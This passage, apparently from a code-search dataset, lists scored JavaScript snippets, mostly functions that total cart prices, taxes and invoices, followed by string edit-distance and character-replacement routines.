+ economyCount * 100;\n\tconst tax = subTotal * 0.1;\n\tconst totalCost = tax + subTotal;\n\n\tdocument.getElementById('sub_total').innerText = '$' + subTotal;\n\tdocument.getElementById('tax').innerText = `$ ${tax}`;\n\tdocument.getElementById('total-cost').innerText = totalCost;\n\n}", "title": "" }, { "docid": "164f3160e481747dffc982fdbee9f722", "score": "0.65319544", "text": "addTotalFetched() { this.totalFetched.value++; this.updateStatNav(this.totalFetched); }", "title": "" }, { "docid": "2657db888645a5cbcc3716a5e07345cb", "score": "0.65244836", "text": "function updateTotals(num) {\n totals.subtotal += selected.price * num;\n totals.subtotal = Number(totals.subtotal.toFixed(2));\n totals.taxes = (totals.subtotal * totals.taxRate).toFixed(2);\n totals.grandTotal = (totals.subtotal * (1 + totals.taxRate)).toFixed(2);\n $('.subtotal p:nth-of-type(2)').text('$' + totals.subtotal);\n $('.tax p:nth-of-type(2)').text('$' + totals.taxes);\n $('.grandTotal p:nth-of-type(2)').text('$' + totals.grandTotal);\n}", "title": "" }, { "docid": "96473f74f7801e5ee752038643015e7f", "score": "0.6523685", "text": "calcTotal() {\n return this.products\n .map( price => price )\n .reduce( (ac, price) => ac + price, 0 );\n }", "title": "" }, { "docid": "fd9e756e822cd1dffbe0f51aaa0a9262", "score": "0.6518863", "text": "function calTotal() {\n\tvar result = $('#cal-result');\n\tvar inputs = $('#calculateTotal > input.cal-input')\n\tvar total = 0;\n\n\tinputs.each(function(i, el) {\n\t\ttotal += parseFloat(isNotNumber(el.value) ? 0 : el.value)\n\t});\n\n\tresult.text(total);\n}", "title": "" }, { "docid": "daf174f6eb40bc090313049f531431e3", "score": "0.65185297", "text": "calculateTotal() {\n this.totalAmount = 0;\n this.selectedItems.forEach((x) => {\n this.totalAmount += x.prize;\n })\n }", "title": "" }, { "docid": "072085c3bc0260e8ed0f92c6bf92272e", "score": "0.65157044", "text": "function total() {\n total = 0;\n for (var i = 0; i < cart.length; i++) {\n total += cart[i].itemPrice;\n }\n return total;\n\n}", "title": "" }, { "docid": "8e6a9ffefcde5392f8bddc901936948e", "score": "0.65140694", "text": "function addToTotalPrice(listOfSelectAttrValues) {\n totalPrice += parseInt(listOfSelectAttrValues[indxCost]);\n totalPriceElement.textContent = `Total: $${totalPrice}`;\n}", "title": "" }, { "docid": "ba466d1e5fa068ae87465e835add3bdf", "score": "0.6512134", "text": "function package_totals() {\n\t\t\n\t\tif ($('.collection#heirloom').hasClass('active')) {\n\t\t\treturn 1245;\n\t\t} else if ($('.collection#signature').hasClass('active')) {\n\t\t\treturn 955;\n\t\t} else if ($('.collection#keepsake').hasClass('active')) {\n\t\t\treturn 695;\n\t\t} else if ($('.collection#gift').hasClass('active')) {\n\t\t\treturn 300;\n\t\t} else {\n\t\t\treturn 0;\n\t\t}\n\t}", "title": "" }, { "docid": "e8b12f475fe8c805c4980194e86fd4a7", "score": "0.6510231", "text": "addTotalNoMore() { this.totalNoMore.value++; this.updateStatNav(this.totalNoMore); }", "title": "" }, { "docid": "899df855619e0fb8e0d23d5ad462df80", "score": "0.65100306", "text": "function getTotal(list){\n\tvar total = 0;\n\tfor(var key in list){\n\t\ttotal += list[key].value * list[key].amount;\n\t\tdocument.getElementById(\"totalValue\").innerHTML = formatValue(total);\n\t}\n}", "title": "" }, { "docid": "6027b82fce49459ef32eb8c706bb2e62", "score": "0.65048796", "text": "addCollecting() { this.collectingTotal.value++; this.updateStatNav(this.collectingTotal); }", "title": "" }, { "docid": "80705dfa0e76b640bb3e8e2e3b5f5197", "score": "0.65035856", "text": "function getTotal() {\n var total = 0\n var donation = Number($('input[name=Donation]').val())\n\n $.each(BirdsCart, function(id, count) {\n total = total + count\n })\n\n total = (total * 10) + donation\n total = Number(total)\n\n // find hidden Total field and set total to its value\n overallTotal.val(total)\n\n // bind new donation to total bet label\n totalCostDiv.text(total)\n\n return Number(total).toFixed(2)\n }", "title": "" }, { "docid": "da0a915b6ff71ecd2c92cc00b54e632a", "score": "0.64978474", "text": "function addExpenseTotal(){\n\t\t\tconst expenseItem={};\n\t\t\t//read inputAmount\n\t\t\tconst textAmount=inputElement.value;\n\n\t\t\t//read the inputDesc\n\t\t\tconst textDesc=inputDescEl.value;\n\n\t\t\t//convert string to number\n\t\t\tconst expense = parseInt(textAmount,10);\n\n\t\t\t//put it in object\n\t\t\texpenseItem.desc=textDesc;\n\t\t\texpenseItem.amount=expense;\n\t\t\texpenseItem.moment=new Date();\n\n\t\t\tallExpenses.push(expenseItem);\n\t\t\n\t\t\t//add that value to totalExpense\n\t\t\ttotalExpense=totalExpense+expense;\n\t\t\t//set the heading el to total expense\n\t\t\tconst someText = `Total Expense: ${totalExpense}`;\n\t\t\theadingEl.textContent=someText;\n\n\t\t\tstoreData(expenseItem, totalExpense);\n\n\t\t\trenderList(allExpenses);\n\t\t}", "title": "" }, { "docid": "07c1085576b0703d6094fec1c2cba353", "score": "0.64864606", "text": "function calTotalCost(value) {\n final_order = final_order + value;\n document.getElementById(\"grand_total\").innerHTML = \"Grand Total = \" + final_order;\n}", "title": "" }, { "docid": "c429c45fff936bd22f7c12d5f44b3770", "score": "0.64799315", "text": "function calculateGrandTotal() {\n var grandTotal = 0;\n\n //get all the grandtotals from the pizza orders\n for (var i = 0; i < customerOrder.pizzaOrderArray.length; i++) {\n grandTotal += customerOrder.pizzaOrderArray[i].pizzaCost;\n }\n\n //get all the grand totals from the sandwich orders\n for (var i = 0; i < customerOrder.sandwhichOrderArray.length; i++) {\n grandTotal += customerOrder.sandwhichOrderArray[i].sandwichCost;\n }\n\n //get all the grand total from the drnk orders\n for (var i = 0; i < customerOrder.drinkOrderArray.length; i++) {\n grandTotal += customerOrder.drinkOrderArray[i].drinkCost;\n }\n\n //return the total cost to display in invoice\n return grandTotal;\n}", "title": "" }, { "docid": "78bc6772e49dc05ca21b2d6f0c0dcd5b", "score": "0.6460565", "text": "processTotals() {\n let income_statement = this.company.income_statement;\n let results = {\n totals:\n [\n {\n name: \"Revenue\", 'value': income_statement.total_revenue,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Total Revenue\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }, line: \"\"\n },\n {\n name: \"OpEx\", 'value': income_statement.total_operating_costs,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Operating Expenses\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }, line: \"\"\n },\n {\n name: \"EBIT\", 'value': income_statement.operating_income,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Operating Income\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }, line: \"\"\n },\n {\n name: \"Other\", 'value': income_statement.total_other_income_expense,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Other Income / Expense\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }, line: \"\"\n },\n {\n name: \"Pretax\", 'value': income_statement.pretax_income,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Pretax Income\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }, line: \"\"\n },\n {\n name: \"Taxes\", 'value': income_statement.total_tax_provision,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Income Tax Provision\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }, line: \"\"\n },\n ]\n };\n\n if (income_statement.net_income_attributable_noncontrolling_interest !== null) {\n\n results.totals.push(\n {\n name: \"MinInt\", 'value': income_statement.net_income_attributable_noncontrolling_interest,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Minority Interest\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }, line: \"\"\n },\n {\n name: \"NetIncome\", 'value': income_statement.net_income_post_minority_interest,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Net Income after Minority Interest\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }\n }\n )\n } else {\n results.totals.push(\n {\n name: \"NetIncome\", 'value': income_statement.net_income,\n bar: { start: 0, end: 0, range: 0 }, class: \"\", text: { x: 0, y: 0 },\n account: \"Net Income\",\n connections: { x1: 0, x2: 0, y1: 0, y2: 0 }\n }\n )\n }\n\n return results;\n\n }", "title": "" }, { "docid": "dfbf8cf92d27785e701d25d98c4686cd", "score": "0.64603555", "text": "function totalAmount(bill,serviceLevel){\n tip = tipAmount(bill, serviceLevel);\n total = bill + tip;\n return total;\n}", "title": "" }, { "docid": "db9cee83c5d47815b3782b9486585142", "score": "0.6457381", "text": "function total() {\n let t = 0;\n for (var i = 0, l = cart.length; i < l; i++) {\n for (var item in cart[i]) {\n t += cart[i][item];\n }\n }\n return t;\n}", "title": "" }, { "docid": "f83e78c483fb30c779d34daf30d20497", "score": "0.6452732", "text": "function getSum() {\n var counter = 0;\n $(\".itxt\").each(function(index, ele) {\n counter += parseInt($(ele).val());\n });\n $(\".right .quantity strong\").text(counter);\n\n var totalPrice = 0;\n $(\".cart-item .sum\").each(function(index, ele) {\n totalPrice += parseFloat($(ele).text().substr(1));\n });\n $(\".right .sum strong\").text(\"¥\" + totalPrice.toFixed(2));\n }", "title": "" }, { "docid": "6d5fb075d26334a1c21fef9f28d35f3d", "score": "0.6449433", "text": "function total(){\n const wealth = data.reduce((acc, user)=> acc+=user.money, 0); // acc is accmulator and 0 ie sec parameter is start value 0 is added to result\n \n const wel = document.createElement('div');\n wel.innerHTML = `<h3>Total Wealth: <strong> ${formatMoney(wealth)}</strong></h3>`\n main.appendChild(wel);\n}", "title": "" }, { "docid": "4cb911c47f1b563ba8a4ee8bf6691cbd", "score": "0.64432967", "text": "function processTotals(){\n var d = new Date();\n var dias=7;\n var auxEnv=0;\n var auxEmails=0;\n var auxOR=0;\n var auxCR=0;\n console.log(wiz.Campanas[0].info.created_at);\n console.log(d);\n for(ii=0;ii<wiz.Campanas.length-1;ii++){\n \n// if(wiz.Campanas[ii].info.created_at<d){\n auxEnv+=wiz.Campanas[ii].info.stats.envios_hechos;\n auxEmails+=wiz.Campanas[ii].info.stats.emails_enviados;\n auxOR+=parseFloat(wiz.Campanas[ii].info.stats.open_rate);\n auxCR+=parseFloat(wiz.Campanas[ii].info.stats.click_rate);\n }\n console.log('Total: Envios>'+auxEnv+' Emails>'+auxEmails+' OR>'+(auxOR/wiz.Campanas.length).toFixed(2)+'% CR>'+(auxCR/wiz.Campanas.length).toFixed(2)+'%');\n// alert('Total: Envios>'+auxEnv+' Emails>'+auxEmails+' OR>'+(auxOR/wiz.Campanas.length).toFixed(2)+'% CR>'+(auxCR/wiz.Campanas.length).toFixed(2)+'%');\n// } \n \n \n}", "title": "" }, { "docid": "13947ab85aab24ba8d3bad53295c5ea0", "score": "0.64380246", "text": "get total() {\n let numberTotal;\n\n\n return Object.keys(this._cart).reduce((totalForItem, currItem) => {\n numberTotal = this._cart[currItem];\n const currItemRule = this._RULES[currItem];\n return currItemRule.reduce(getTotalForItem, 0) + totalForItem;\n }, 0);\n\n // Helper function\n function getCurrentCost(rule) {\n const units = Math.floor(numberTotal / rule.number);\n const cost = units * rule.cost;\n const remainder = numberTotal % rule.number;\n\n return {\n remainder,\n cost,\n };\n }\n\n function getTotalForItem(totalForRule, curr) {\n const result = getCurrentCost(curr);\n numberTotal = result.remainder;\n return result.cost + totalForRule;\n }\n }", "title": "" }, { "docid": "17397bf4a15141a243ced6e19a55832d", "score": "0.6436974", "text": "function calculate_total () {\n\ttotal = 0.0;\n\t$(\".item-cost input\").each(function (index) {\n\t\tprice = calculate_price($(this).val());\n\t\titem_id = $(this).attr(\"id\").split(\"-\")[2];\n\n\t\t// Check if we should add sales tax\n\t\tif ($(\"#restock-salestax-\"+item_id+\":checked\").length == 1) {\n\t\t\tprice *= 1.06;\n\t\t}\n\n\t\ttotal += price;\n\t});\n\n\t$(\"#restock-total\").html(format_price(total));\n}", "title": "" }, { "docid": "f4a13507938ec735d4e609a3f9f40996", "score": "0.64242077", "text": "function calculateTotal(){\n total = 0;\n for (let index = 0; index < 7; index++) {\n if(checkboxes[index].checked === true){\n total += parseInt(checkboxes[index].getAttribute('data-cost'));\n }\n }\n cost.innerHTML = `Total: $ ${total}`;\n}", "title": "" }, { "docid": "f27d774e84e8f8c211e199852063c55b", "score": "0.64222217", "text": "function calculateSum() {\n\n var sum = 0;\n var convertedSum;\n\n // Target all <td> with the class (.totalAllocation) which are not hidden\n $('td.totalAllocation:visible').each(function() {\n \n var value = $(this).text();\n var number = Number(value.replace(/[^0-9.-]+/g,\"\"));\n\n // Add only if the value is number\n if (!isNaN(number) && number.length != 0) {\n sum += parseFloat(number);\n convertedSum = accounting.formatMoney(sum, { precision: 0 });\n }\n\n });\n\n $('#heading-funding-summary').text(convertedSum);\n }", "title": "" }, { "docid": "375e79ef6988785a6a6b23073083e122", "score": "0.6415422", "text": "function sum_total(e)\n\t\t{\n\t\t\tvar cid = e.attr('data-cid');\n\t\t\tvar total_all = 0;\n\n\t\t\t$('.input_number[data-cid=\"'+cid+'\"]').each( function() {\n\t\t\t\tvar temp = parseInt($(this).attr('data-total'));\n\t\t\t\ttotal_all += temp;\n\t\t\t});\n\t\t\treturn total_all;\n\t\t}", "title": "" }, { "docid": "7968067aab117c2b624f857f4533925d", "score": "0.6414965", "text": "function totalCarrito(carrito) {\n console.log(carrito);\n let total = 0;\n carrito.forEach(p => total += p.subtotal());\n return total.toFixed(2);\n}", "title": "" }, { "docid": "f2c12e0056bacb120e118946b308025e", "score": "0.6403687", "text": "function calculateAll() {\n const products = document.getElementsByClassName('product');\n\n let total = 0;\n\n for (let i = 0; i < products.length; i++) {\n total += updateSubtotal(products[i]);\n }\n\n const totalValue = document.querySelector('#total-value span');\n totalValue.innerText = total;\n}", "title": "" }, { "docid": "bd43fe5cb39d18b0b492259954bf6839", "score": "0.64029247", "text": "function getTotal(data){\n\tvar total = 0;\n\tfor(var i = 0; i < data.length; i++){\n\t\ttotal+=parseInt(data[i].amount, 10);\n\t}\n\treturn total;\n}", "title": "" }, { "docid": "a97b99bf73e96f327f3cedb3073ff735", "score": "0.64010966", "text": "function displayTotals(arg1, arg2, arg3)\n{\n console.log(`Sweet: ${arg1}`);\n console.log(`Salty: ${arg2}`);\n console.log(`SweetnSalty: ${arg3}`);\n}", "title": "" }, { "docid": "5f6ddced0fbd317d68bf9ee25939bd0e", "score": "0.6391924", "text": "function calculateTotal() \n{\n var total = 0;\n\n // sum up the total\n $(\"#table-items .price\").each(function() {\n var value = $(this).val();\n //add only if the value is a number\n if(!isNaN(value) && value.length != 0) {\n total += parseFloat(value);\n }\n });\n\n // update the total on page\n $('#output-total').text(total.toFixed(2)); \n \n // return the total\n return total;\n \n}", "title": "" }, { "docid": "7651a69748d7629322bb52f9d5b43047", "score": "0.63832545", "text": "function CalculateTotals() {\n //Get the values\n var price = parseFloat($('#BaseInvoiceViewModel_Price').val()) || 0.00;\n var tax = parseFloat($('#BaseInvoiceViewModel_Tax').val()) || 0.00;\n var quantity = parseFloat($('#BaseInvoiceViewModel_Quantity').val()) || 0.00;\n \n \n //Do calculations and display them\n DisplayTax(tax);\n DisplaySubTotal(price, quantity);\n DisplayTotal(price, quantity, tax);\n\n}", "title": "" }, { "docid": "8930bd795a58995c9bed8df5790d04f0", "score": "0.6382159", "text": "function calcularTotal() {\r\n\r\n // Se limpia el precio anterior\r\n total = 0;\r\n\r\n // Se recorre el array del carrito\r\n carrito.forEach((item) => {\r\n\r\n // De cada elemento se obtiene su precio\r\n const miItem = baseDeDatos.filter((itemBaseDatos) => {\r\n return itemBaseDatos.id === parseInt(item);\r\n });\r\n\r\n total = total + miItem[0].precio;\r\n });\r\n\r\n // Se muesta el precio en el HTML\r\n DOMtotal.textContent = total.toFixed(2);\r\n }", "title": "" }, { "docid": "e135b5fe5ced28f1d36885c79e24f40a", "score": "0.63791937", "text": "function total(runningTotal){\n //var runningTotal =[];\n Total = 0;\n for(var i=0; i<runningTotal.length; i++){\n Total = runningTotal[i]+ Total;\n }\n return Total;\n}", "title": "" }, { "docid": "5bb7da89f80939296248e3b5123c2e0b", "score": "0.6374941", "text": "totalSpent() {\n return this.meals().reduce(function (runningTotal, currentValue) {\n return runningTotal + currentValue.price }, 0)\n }", "title": "" }, { "docid": "5d87bd7f6d1fcd0d6cd8bbb9454ac8a2", "score": "0.63728046", "text": "function _totalTaxTable() {\n \ttry {\n \t\tvar total_header \t=\t$('.total-header').text().trim();\n \t\tvar freight_val\t\t=\t0;\n \t\tvar insurance_val\t=\t0;\n \t\tvar tax_jp \t\t\t=\t0;\n \t\tif (!$('.value-freight').hasClass('hidden')) {\n\t \t\tfreight_val \t= \t$('.value-freight').val().trim();\n\t\t}\n \t\tif (!$('.value-insurance').hasClass('hidden')) {\n\t\t\tinsurance_val \t= \t$('.value-insurance').val().trim();\n\t\t}\n \t\tif (!$('.value-jp').hasClass('hidden')) {\n\t\t\ttax_jp \t\t\t= \t$('.value-jp').val().trim();\n\t\t}\n\t\tvar total_footer \t=\tparseFloat(freight_val) + parseFloat(insurance_val) + parseFloat(tax_jp) + parseFloat(total_header);\n\t\t// $('.total-footer').text(_convertMoneyToIntAndContra(total_footer));\n\t} catch (e) {\n alert('_totalTaxTable' + e.message);\n }\n }", "title": "" }, { "docid": "3a4495326d0d1f6b50047b99ec4e2a12", "score": "0.63641983", "text": "function getTotal() {\n dataObj.cashTotalData.assetsTotal = calcTotal(dataObj);\n return dataObj.cashTotalData.assetsTotal;\n }", "title": "" }, { "docid": "61451277a01fa3ca896b50d400049e06", "score": "0.63628703", "text": "function calculateTotal() {\n subtotal = 0;\n $('.selection-item.selected').each(function(i, el) {\n var $el = $(el);\n var priceString = $el.find('.selection-item-price').html();\n var price = dollarsToFloat(priceString);\n subtotal += price;\n });\n var tax = tax_rate * subtotal;\n var tip = tip_perc * subtotal;\n total = subtotal + tax + tip;\n\n $('#selection-view-subtotal-amount').html( floatToDollars(subtotal) );\n $('#selection-view-tax-amount').html( floatToDollars(tax) );\n $('#selection-view-tip-amount').html( floatToDollars(tip) );\n $('#selection-view-total-amount').html( floatToDollars(total) );\n\n if(subtotal > 0) {\n $('#selection-view-submit-button').removeClass('disabled');\n } else {\n $('#selection-view-submit-button').addClass('disabled');\n }\n\n }", "title": "" }, { "docid": "ff42a2fef15cdd3b1f9d046ef54a0630", "score": "0.6362572", "text": "function calculateAll() {\n const allProducts = document.querySelectorAll('.product');\n let subtotal = 0;\n\n for (let i = 0; i < allProducts.length; i++) {\n subtotal += updateSubtotal(allProducts[i]);\n }\n\n document.querySelector('#total-value span').innerHTML = subtotal;\n}", "title": "" }, { "docid": "d2f674fd0eb85d2b8f62446b0e3513b0", "score": "0.6360751", "text": "createTotalCalculations() {\n const object = this,\n containers = document.querySelectorAll('.info-inner');\n\n containers.forEach( function (container) {\n const inputs = container.querySelectorAll('input.date-count'),\n columns = container.querySelectorAll('.spot-column');\n\n inputs.forEach( function (input) {\n object.setWeeklyTotals(container, columns, input.dataset.program);\n\n input.onkeyup = function () {\n object.setWeeklyTotals(container, columns, this.dataset.program);\n }\n });\n });\n }", "title": "" } ]
142f2ce28b2431bf33c007bce4c28d0e
There are three types of edits that can be performed on strings: Insert a character (character count +=1). remove a character (character count =1) replace a character. > Problem child. So crap. you get two strings and see if the second is one edit away. Insert a character
[ { "docid": "644283fa06a9ea249519ae1cc1849aac", "score": "0.7068613", "text": "function oneEditAway(str1, str2) {\n\n if(str1.length > str2.length) {\n return oneInsert();\n } else if (str1.length < str2.length) {\n return oneRemoval();\n } else if(str1.length === str2.length) {\n return oneReplace();\n }\n\n\n function oneInsert() {\n var count = 0;\n var j = 0;\n for(var i=0; i<str1.length; i++) {\n if(str1[i] !== str2[j]) {\n count +=1;\n continue;\n }\n j+=1;\n }\n var x = (count ===1);\n return x;\n }\n\n function oneRemoval() {\n var count = 0;\n var i = 0;\n for(var j=0; j<str2.length; j++) {\n if(str1[i] !== str2[j]) {\n count +=1;\n continue;\n }\n i+=1;\n }\n\n return (count===1);\n }\n\n function oneReplace() {\n var count = 0;\n var j = 0;\n for(var i=0; i<str1.length; i++) {\n if(str1[i] !== str2[j]) {\n count +=1;\n }\n j+=1;\n }\n\n return (count ===1);\n }\n}", "title": "" } ]
[ { "docid": "61e39168c7598c496710b260dd9d270f", "score": "0.6546911", "text": "function editDistance(str1, str2) {\n // Your code here.\n\n let s1 = str1;\n let s2 = str2;\n const s1o = {}\n const s2o = {};\n const nso = {};\n let insertions = 0;\n let removals = 0;\n let replacements = 0;\n\n for (let char in s1) {\n s1o[s1[char]] = 0;\n }\n for (let char in s2) {\n s2o[s2[char]] = 1;\n\n }\n console.log(s1o, s2o);\n\n if ( s1.length > s2.length ) {\n for (let char in s2) {\n if (s1o[s2[char]] != null) { \n s1o[s2[char]]++;\n } else {\n delete s1o[s2[char]]\n removals++\n }\n }\n \n }\n console.log('s1o post-edit: ', s1o);\n console.log(`\n -------\\n\n Removals: ${removals}\\n\n Insertions: ${insertions}\\n\n Replacements: ${replacements}\\n\n -------`)\n\n}", "title": "" }, { "docid": "2e9e369b9f8dc9b056158c3726f1ddac", "score": "0.65094614", "text": "function oneAway(str1, str2) {\n let edits = charsReplaced(str1, str2) + charsRemoved(str1, str2) + charsInserted(str1, str2);\n\n return edits <= 1;\n}", "title": "" }, { "docid": "bc6a76ed9d77cbdffd11f6993df95f69", "score": "0.6173518", "text": "function replaceFirstCharacter() {\n var string = document.getElementById('repString').value;\n var originalString = document.getElementById('repString').value;\n var character = document.getElementById('repFirstCharacter').value;\n var character2 = document.getElementById('repSecondCharacter').value;\n var occurance;\n \n var newSegment = '<strong>Please enter the string and both characters!</strong>';\n if (string=='' || character=='' || character2=='') {\n document.getElementById('alert19').innerHTML = newSegment;\n document.getElementById('alert19').className = 'alert alert-danger text-center';\n }\n else {\n occurance = string.toLowerCase().indexOf(character.toLowerCase());\n if (occurance == -1) {\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br> Character: <strong>\"' + \n character + '\"</strong><br>Second Character: <strong>\"' + character2 + \n '\"</strong><br><strong> Character Not Found!</strong>';\n } \n else {\n string = string.slice(0, occurance) + character2 + string.slice(occurance+1, occurance.length);\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br>First Character: <strong>\"' + \n character + '\"</strong><br>Second Character: <strong>\"' + character2 + \n '\"</strong><br> New String: <strong>\"' + string + '\"</strong>';\n }\n\n \n document.getElementById('alert19').innerHTML = newSegment;\n document.getElementById('alert19').className = 'alert alert-success text-center';\n }\n}", "title": "" }, { "docid": "8cc8e2c7fe0e9d5557a3c1fec3742217", "score": "0.61276853", "text": "function applyChange(shareJS, oldText, newText) {\n if (newText === oldText) {\n return;\n }\n\n var commonStart = 0;\n while (oldText.charAt(commonStart) === newText.charAt(commonStart)) {\n commonStart++;\n }\n\n var commonEnd = 0;\n while (oldText.charAt(oldText.length - 1 - commonEnd) === newText.charAt(newText.length - 1 - commonEnd) &&\n commonEnd + commonStart < oldText.length && commonEnd + commonStart < newText.length) {\n commonEnd++;\n }\n\n if (oldText.length !== commonStart + commonEnd) {\n shareJS.remove(commonStart, oldText.length - commonStart - commonEnd);\n }\n\n if (newText.length !== commonStart + commonEnd) {\n shareJS.insert(commonStart, newText.slice(commonStart, newText.length - commonEnd));\n }\n }", "title": "" }, { "docid": "dac90317cf62947eefa068b20b0288d8", "score": "0.61070067", "text": "Paste(str, newchars)\n {\n // if there's a selection, the paste should delete it\n this.ClampCursor(str);\n this.deleteSelection(str);\n // try to insert the characters\n if (this.insertChars(str, this.Cursor, newchars))\n {\n let len = newchars.length;\n this.undoMgr.TrackInsert(this.Cursor, len);\n this.Cursor += len;\n this.preferredX = null;\n return 1;\n }\n return 0;\n }", "title": "" }, { "docid": "79cc693e15a30f9e822feeea6f3bf8d7", "score": "0.6103185", "text": "function insert (stringExe8, stringToAdd, indexExe8) {\n var stringExe8_1 = stringExe8.substr(0, indexExe8);\n var stringExe8_2 = stringExe8.slice(indexExe8, -1);\n return stringExe8_1.concat(stringToAdd, stringExe8_2);\n }", "title": "" }, { "docid": "63a3ee6d9048f24bedd47ecdb20f0eae", "score": "0.60325897", "text": "function oneAway(str1, str2) {\n if (str1.length === str2.length) {\n return replacement(str1, str2);\n } else if (str1.length === str2.length - 1) {\n return insertion(str1, str2);\n } else if (str2.length === str1.length - 1) {\n return insertion(str2, str1);\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "51244120939f893339ab2339f266e870", "score": "0.5982512", "text": "function replaceLastCharacter() {\n var string = document.getElementById('repLastString').value;\n var originalString = document.getElementById('repLastString').value;\n var character = document.getElementById('repLastFirstCharacter').value;\n var character2 = document.getElementById('repLastSecondCharacter').value;\n var occurance;\n \n var newSegment = '<strong>Please enter the string and both characters!</strong>';\n if (string=='' || character=='' || character2=='') {\n document.getElementById('alert20').innerHTML = newSegment;\n document.getElementById('alert20').className = 'alert alert-danger text-center';\n }\n else {\n occurance = string.toLowerCase().lastIndexOf(character.toLowerCase());\n if (occurance == -1) {\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br> Character: <strong>\"' + \n character + '\"</strong><br>Second Character: <strong>\"' + character2 + \n '\"</strong><br><strong> Character Not Found!</strong>';\n } \n else {\n string = string.slice(0, occurance) + character2 + string.slice(occurance+1, occurance.length);\n newSegment = 'Original String: <strong>\"' + originalString + '\"</strong><br>First Character: <strong>\"' + \n character + '\"</strong><br>Second Character: <strong>\"' + character2 + \n '\"</strong><br> New String: <strong>\"' + string + '\"</strong>';\n }\n\n \n document.getElementById('alert20').innerHTML = newSegment;\n document.getElementById('alert20').className = 'alert alert-success text-center';\n }\n}", "title": "" }, { "docid": "1ec5e193129a40f91dec8ec330752941", "score": "0.5962978", "text": "function insert(str) {\n\t\t\t\t\t\t\t\t// we can take this out in the next release of CodeMirror\n\t\t\t\t\t\t\t\tstr = str.replace(\"\\r\", \"\");\n\n\t\t\t\t\t\t\t\tvar newpos = {};\n\t\t\t\t\t\t\t\tvar lines = _this.introspect_state.before_replacing_word.split(\"\\n\");\n\t\t\t\t\t\t\t\tnewpos.line = lines.length - 1;\n\t\t\t\t\t\t\t\tnewpos.ch = lines[lines.length - 1].length + str.length;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\teditor.setValue(_this.introspect_state.before_replacing_word + str + _this.introspect_state.after_cursor);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\teditor.setCursor(newpos);\n\t\t\t\t\t\t\t}", "title": "" }, { "docid": "fee2b430f85815350ac8fb9f3bbd8086", "score": "0.5935659", "text": "replaceCharacters(text, target1, target2) {\n var target1pos = 1000000000000;\n var target2pos = 1000000000000;\n var tokensBefore = [];\n var tokensAfter = [];\n // split first, because the characters we'll be removing\n // need to be split off from the tokens they may be a part of\n this.splitAtCharacter(target1);\n this.splitAtCharacter(target2);\n if (target1 != null) {\n target1pos = this.tokens.findIndex((token) => token.hasCharacter(target1));\n }\n if (target2 != null) {\n target2pos = this.tokens.findIndex((token) => token.hasCharacter(target2));\n }\n const firstTargetPos = Math.min(target1pos, target2pos);\n const secondTargetPos = Math.max(target1pos, target2pos);\n tokensBefore = this.tokens.slice(0, firstTargetPos);\n tokensAfter = this.tokens.slice(secondTargetPos);\n console.log(firstTargetPos, secondTargetPos);\n var result = null; // the charcter model to put the cursor at after this\n if (tokensAfter.length > 0 && tokensAfter[0].numChildren > 0) {\n result = tokensAfter[0].characters[0];\n }\n var newChildren = RASTextModel._tokenize(text);\n // now merge on both sides of the new content.\n if (newChildren.length > 0 && tokensAfter.length > 0 &&\n !newChildren[newChildren.length - 1].isWhitespace() &&\n !tokensAfter[0].isWhitespace()) {\n var prevToken = newChildren[newChildren.length - 1];\n var nextToken = tokensAfter[0];\n tokensAfter = tokensAfter.slice(1);\n newChildren[newChildren.length - 1] =\n RASTextModel.mergeTokens([prevToken, nextToken]);\n }\n if (tokensBefore.length > 0 &&\n newChildren.length > 0 &&\n !tokensBefore[tokensBefore.length - 1].isWhitespace() &&\n !newChildren[0].isWhitespace()) {\n var prevToken = tokensBefore[tokensBefore.length - 1];\n var nextToken = newChildren[0];\n newChildren = newChildren.slice(1);\n tokensBefore[tokensBefore.length - 1] =\n RASTextModel.mergeTokens([prevToken, nextToken]);\n }\n this._children = [];\n for (let token of [...tokensBefore, ...newChildren, ...tokensAfter]) {\n this.addChild(token);\n }\n return result;\n }", "title": "" }, { "docid": "4bac5cdbac5b85249ea1fd34cf1207dd", "score": "0.5924636", "text": "_changeCharacter( idx, char, callback ) {\n let text = this.text;\n let newText = text.substr( 0, idx )\n + char\n + text.substr( idx + 1, text.length - idx - 1 );\n this.text = newText;\n if( callback ) callback();\n }", "title": "" }, { "docid": "dfb6122f410eddba8ccd801ac7e8367e", "score": "0.5898566", "text": "function letterChanges(str) {}", "title": "" }, { "docid": "1b2ab6bc800219bedede370350375bf3", "score": "0.58810383", "text": "function onUpdateText() {\n var oldString = document.getElementById('oldString').value\n var newString = document.getElementById('newString').value\n\n checkEmptyInput()\n\n if (oldString !== \"\" && newString !== \"\" && oldString.length > 2 && newString.length > 2) {\n var oldText = document.getElementById('old').value\n\n // Faz o replace da string\n while (oldText.includes(oldString)) {\n oldText = oldText.replace(oldString, newString)\n }\n\n document.getElementById('result').value = oldText\n } \n}", "title": "" }, { "docid": "11af218ae21b8ea1100220d2fdc7e7f4", "score": "0.5879118", "text": "function updateText(string, twistyCharacter){\n\tvar closedTriangle = String.fromCharCode(9656) /* \"&#x025B8\"; 